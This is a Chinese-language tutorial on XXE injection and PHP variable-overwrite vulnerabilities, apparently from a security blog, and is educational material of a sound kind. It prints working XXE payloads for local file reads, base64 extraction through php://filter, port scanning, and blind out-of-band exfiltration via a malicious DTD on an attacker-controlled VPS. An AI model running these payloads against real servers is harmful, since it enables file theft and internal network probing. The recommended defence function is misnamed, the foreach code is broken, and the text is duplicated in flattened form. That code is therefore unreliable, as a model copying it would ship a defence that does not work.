XXE和变量覆盖
字数 1264 2025-08-12 11:34:09

XXE与变量覆盖漏洞详解

XML基础与XXE漏洞

XML基础概念

XML(Extensible Markup Language)是一种可扩展标记语言,用于表示和传输结构化数据。XML文档结构包括:

  1. XML声明:<?xml version="1.0" encoding="utf-8"?>
  2. DTD(文档类型定义,可选)
  3. 文档元素

DTD(文档类型定义)

DTD用于定义XML文档的结构和约束,可以内嵌在XML文档中(内部引用)或外部引用。

内部实体声明语法

<!ENTITY 实体名 "实体值">

外部实体声明语法

<!ENTITY 实体名 SYSTEM "URI">

XXE(XML External Entity Injection)

XXE漏洞发生在应用程序解析XML输入时,允许引用外部实体,导致攻击者能够读取任意文件、执行SSRF攻击等。

基本XXE Payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
  <!ENTITY goodies SYSTEM "file:///path/to/file">
]>
<creds>&goodies;</creds>

XXE攻击类型

1. 有回显的XXE

当服务器将XML解析结果返回给用户时,可直接看到文件内容。

示例Payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
  <!ENTITY goodies SYSTEM "file:///C:/Windows/system.ini">
]>
<creds>&goodies;</creds>

2. 无回显的XXE(Blind XXE)

当服务器不返回解析结果时,需要通过外带数据方式获取信息。

攻击步骤

  1. 在VPS上准备恶意DTD文件(command.dtd):
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://vps地址/%file;'>">
%all;
  1. 发送恶意XML请求:
<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Windows/win.ini">
  <!ENTITY % dtd SYSTEM "http://vps地址/command.dtd">
  %dtd;
  %send;
]>

3. 处理特殊字符

当文件包含特殊字符时,可使用PHP filter协议进行Base64编码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
  <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=C:/path/to/file">
]>
<creds>&goodies;</creds>

4. XXE端口探测

利用XXE进行端口扫描:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
  <!ENTITY goodies SYSTEM "http://ip地址:端口/">
]>
<creds>&goodies;</creds>
  • 端口开放:响应快
  • 端口关闭:响应慢且可能报错

变量覆盖漏洞

1. register_globals

register_globals将GET、POST、COOKIE传入的变量注册为全局变量。传值顺序为GET→POST→COOKIE,后传入的会覆盖先传入的。

2. foreach导致的变量覆盖

foreach(['_GET','_POST','_COOKIE'] as $item) {
  foreach(
$$
item as $key => $value) {
    
$$
key = $value;
  }
}

这段代码会将所有GET、POST、COOKIE参数注册为变量,可能导致变量覆盖。

3. extract函数

extract()从数组导入变量到当前符号表,默认行为(EXTR_OVERWRITE)会覆盖已有变量。

参数选项

  • EXTR_SKIP:跳过已存在变量
  • EXTR_PREFIX_SAME:为冲突变量添加前缀
  • EXTR_PREFIX_ALL:为所有变量添加前缀

4. parse_str函数

parse_str()解析字符串并设置为当前作用域的变量:

parse_str("name=value&arr[]=string+one&arr[]=string+two");

5. import_request_variables

register_globals=Off时,将GET、POST、COOKIE变量导入全局作用域(PHP4 >=4.1,PHP5 <5.4)。

防御措施

XXE防御

lib_disable_entity_loader(true); // 禁止加载XML外部实体

变量覆盖防御

  1. 禁用register_globals
  2. 谨慎使用extract(),设置安全参数
  3. 避免直接使用用户输入作为变量名
  4. 使用最新PHP版本(已移除危险函数)

总结

XXE和变量覆盖都是由于不当处理用户输入导致的安全漏洞。理解这些漏洞的原理和利用方式,有助于开发更安全的应用程序。防御的关键在于严格验证和过滤所有用户输入,禁用不必要的功能,并遵循安全编码实践。

XXE与变量覆盖漏洞详解 XML基础与XXE漏洞 XML基础概念 XML(Extensible Markup Language)是一种可扩展标记语言,用于表示和传输结构化数据。XML文档结构包括: XML声明: <?xml version="1.0" encoding="utf-8"?> DTD(文档类型定义,可选) 文档元素 DTD(文档类型定义) DTD用于定义XML文档的结构和约束,可以内嵌在XML文档中(内部引用)或外部引用。 内部实体声明语法 : 外部实体声明语法 : XXE(XML External Entity Injection) XXE漏洞发生在应用程序解析XML输入时,允许引用外部实体,导致攻击者能够读取任意文件、执行SSRF攻击等。 基本XXE Payload XXE攻击类型 1. 有回显的XXE 当服务器将XML解析结果返回给用户时,可直接看到文件内容。 示例Payload : 2. 无回显的XXE(Blind XXE) 当服务器不返回解析结果时,需要通过外带数据方式获取信息。 攻击步骤 : 在VPS上准备恶意DTD文件(command.dtd): 发送恶意XML请求: 3. 处理特殊字符 当文件包含特殊字符时,可使用PHP filter协议进行Base64编码: 4. XXE端口探测 利用XXE进行端口扫描: 端口开放:响应快 端口关闭:响应慢且可能报错 变量覆盖漏洞 1. register_ globals register_globals 将GET、POST、COOKIE传入的变量注册为全局变量。传值顺序为GET→POST→COOKIE,后传入的会覆盖先传入的。 2. foreach导致的变量覆盖 这段代码会将所有GET、POST、COOKIE参数注册为变量,可能导致变量覆盖。 3. extract函数 extract() 从数组导入变量到当前符号表,默认行为(EXTR_ OVERWRITE)会覆盖已有变量。 参数选项 : EXTR_SKIP :跳过已存在变量 EXTR_PREFIX_SAME :为冲突变量添加前缀 EXTR_PREFIX_ALL :为所有变量添加前缀 4. parse_ str函数 parse_str() 解析字符串并设置为当前作用域的变量: 5. import_ request_ variables 在 register_globals=Off 时,将GET、POST、COOKIE变量导入全局作用域(PHP4 >=4.1,PHP5 <5.4)。 防御措施 XXE防御 变量覆盖防御 禁用 register_globals 谨慎使用 extract() ,设置安全参数 避免直接使用用户输入作为变量名 使用最新PHP版本(已移除危险函数) 总结 XXE和变量覆盖都是由于不当处理用户输入导致的安全漏洞。理解这些漏洞的原理和利用方式,有助于开发更安全的应用程序。防御的关键在于严格验证和过滤所有用户输入,禁用不必要的功能,并遵循安全编码实践。